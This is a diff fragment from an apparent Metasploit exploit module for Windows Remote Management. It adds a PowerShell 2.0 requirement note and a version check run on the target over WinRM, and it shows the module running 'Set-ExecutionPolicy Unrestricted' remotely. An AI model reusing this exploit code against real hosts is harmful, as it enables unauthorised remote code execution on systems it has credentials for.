@@ -28,6 +28,8 @@ def initialize(info = {})
28
28
automigrate before the WinRS shell dies.
29
29
30
30
It is important to use an x64 payload if your target system is x64.
31
+ The target machine must be running Powershell 2.0 for the payload
32
+ to work.
31
33
} ,
32
34
'Author' => [ 'thelightcosine' ] ,
33
35
'License' => MSF_LICENSE ,
@@ -43,7 +45,7 @@ def initialize(info = {})
43
45
'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
44
46
'Targets' =>
45
47
[
46
- [ 'Windows with Powershell' , { } ] ,
48
+ [ 'Windows with Powershell 2.0 ' , { } ] ,
47
49
] ,
48
50
'DefaultTarget' => 0 ,
49
51
'DisclosureDate' => 'Nov 01 2012'
@@ -58,6 +60,25 @@ def check
58
60
return Msf ::Exploit ::CheckCode ::Safe
59
61
end
60
62
63
+ print_status "checking for Powershell 2.0"
64
+ streams = winrm_run_cmd ( "powershell Get-Host" )
65
+ if streams == 401
66
+ print_error "Login failed!"
67
+ return Msf ::Exploit ::CheckCode ::Safe
68
+ end
69
+ unless streams . class == Hash
70
+ print_error "Recieved error while running check"
71
+ return Msf ::Exploit ::CheckCode ::Safe
72
+ end
73
+ streams [ 'stdout' ] . each_line do |line |
74
+ next unless line . start_with? "Version"
75
+ major_version = line . match ( /\d (?=\. )/ ) [ 0 ]
76
+ if major_version == 1
77
+ print_error "The target is running an older version of powershell"
78
+ return Msf ::Exploit ::CheckCode ::Safe
79
+ end
80
+ end
81
+
61
82
streams = winrm_run_cmd ( "powershell Set-ExecutionPolicy Unrestricted" )
62
83
if streams == 401
63
84
print_error "Login failed!"
0 commit comments